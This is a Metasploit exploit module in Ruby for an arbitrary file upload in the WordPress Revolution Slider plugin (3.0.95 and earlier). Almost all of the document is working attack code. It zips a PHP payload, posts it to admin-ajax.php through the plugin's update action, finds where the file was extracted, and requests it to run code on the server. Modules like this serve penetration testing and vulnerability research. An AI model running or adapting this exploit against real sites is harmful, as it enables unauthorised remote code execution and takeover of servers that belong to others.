WordPress RevSlider 3.0.95 File Upload / Execute

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress RevSlider File Upload and Execute Vulnerability',  
'Description' => %q{  
This module exploits an arbitrary PHP code upload in the WordPress ThemePunch  
Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The  
vulnerability allows for arbitrary file upload and remote code execution.  
},  
'Author' =>  
[  
'Simo Ben youssef', # Vulnerability discovery  
'Tom Sellers <tom[at]fadedcode.net>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'],  
['EDB', '35385'],  
['WPVDB', '7954'],  
['OSVDB', '115118']  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]],  
'DisclosureDate' => 'Nov 26 2015',  
'DefaultTarget' => 0)  
)  
end  
  
def check  
release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')  
check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')  
end  
  
def exploit  
php_pagename = rand_text_alpha(4 + rand(4)) + '.php'  
  
# Build the zip  
payload_zip = Rex::Zip::Archive.new  
# If the filename in the zip is revslider.php it will be automatically  
# executed but it will break the plugin and sometimes WordPress  
payload_zip.add_file('revslider/' + php_pagename, payload.encoded)  
  
# Build the POST body  
data = Rex::MIME::Message.new  
data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"')  
data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')  
data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"")  
post_data = data.to_s  
  
res = send_request_cgi(  
'uri' => wordpress_url_admin_ajax,  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
)  
  
if res  
if res.code == 200 && res.body =~ /Update in progress/  
# The payload itself almost never deleted, try anyway  
register_files_for_cleanup(php_pagename)  
# This normally works  
register_files_for_cleanup('../revslider.zip')  
final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename)  
print_good("#{peer} - Our payload is at: #{final_uri}")  
print_status("#{peer} - Calling payload...")  
send_request_cgi(  
'uri' => normalize_uri(final_uri),  
'timeout' => 5  
)  
elsif res.code == 200 && res.body =~ /^0$/  
# admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown  
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")  
end  
else  
fail_with(Failure::Unknown, 'ERROR')  
end  
  
end  
end  
`